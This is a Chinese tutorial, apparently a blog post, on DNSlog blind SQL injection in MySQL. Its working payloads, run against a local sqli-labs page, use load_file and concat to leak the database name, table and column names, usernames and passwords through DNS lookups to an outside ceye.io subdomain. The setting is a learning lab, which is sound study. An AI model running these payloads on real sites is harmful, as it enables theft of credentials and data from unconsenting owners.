• SQL注入学习-Dnslog盲注


    1.基础知识

    1.DNS

    DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议运行在UDP协议之上,使用端口号53。在RFC文档中RFC 2181对DNS有规范说明,RFC 2136对DNS的动态更新进行说明,RFC 2308对DNS查询的反向缓存进行说明。

    2.Dnslog

    Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.comt00ls.com.等的访问信息。

    DnsLog盲注

    对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。

    原理图:

     

    如图,攻击者首先提交注入语句select load_file(concat('\\','攻击语句',.XXX.ceye.io\abc))

    在数据库中攻击语句被执行,由concat函数将执行结果与XXX.ceye.io\abc拼接,构成一个新的域名,而mysql中的select load_file()可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析

    此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。

    构造语法

    构造语句,利用load_file()函数发起请求,使用Dnslog接受请求,获取数据

    SELECT LOAD_FILE(CONCAT('\',(select database(),'mysql.cmr1ua.ceye.io\abc')))

    通过SQL语句查询内容,作为请求的一部分发送至Dnslog

    只要对这一部分语句进行构造,就能实现有回显的SQL注入

    payload:

    获取数据库名

    http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\',(select database()),'.cmr1ua.ceye.io\abc'))--+

     通过dnslog查看到数据名为security

     获取数据表

    http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\abc'))--+

    获取表中的字段名

    ' and load_file(concat('\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\abc'))--+

    获取表中字段下的数据

    ' and load_file(concat('\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\abc'))--+
    ' and load_file(concat('\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\abc'))--+

    因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去

    ' and load_file(concat('\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\abc'))--+

    Donslog注入脚本

    https://github.com/ADOOO/DnslogSqlinj

    参考学习:https://www.jianshu.com/p/d6788f57dba5

      https://www.cnblogs.com/afanti/p/8047530.html

          网易云白帽子进阶课程

  • 相关阅读:
    第七章 过滤器 Filter(二)
    第七章 过滤器基础 Filter
    学了近一个月的java web 感想
    js写的一个简单的手风琴菜单
    第六章 对象作用域与servlet事件监听器
    第五章 Web应用程序状态管理
    第四章 使用Servlet处理HTTP请求
    第三章 使用Servlet处理HTTP响应
    第二章 Servlet基础
    myeclipse解决Fail to create the java Virtual Machine
  • 原文地址:https://www.cnblogs.com/xhds/p/12322839.html
Copyright © 2020-2023  润新知